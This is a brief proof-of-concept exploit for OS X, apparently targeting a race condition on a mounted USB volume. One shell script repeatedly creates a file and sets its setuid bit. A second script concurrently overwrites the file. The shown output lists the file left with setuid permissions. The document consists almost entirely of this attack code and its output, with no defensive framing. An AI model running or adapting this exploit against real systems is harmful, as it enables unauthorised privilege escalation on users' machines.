OS X overtake PoC

OS X overtake PoC

$ cat racecar.sh 
#!/bin/sh

while :
do
echo "#!/bin/sh" > /Volumes/USB/a
chmod u+xs /Volumes/USB/a
ls -la /Volumes/USB/a | grep sr | grep -v 10
done

$ cat crash.sh
#!/bin/sh

while :
do
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > aah
mv aah /Volumes/USB/a
done

./racecar.sh &
./crash.sh &
-rwsr-xr-x  1 timb  staff  79 11 Apr 23:16 /Volumes/USB/a
-rwsr-xr-x  1 timb  staff  79 11 Apr 23:16 /Volumes/USB/a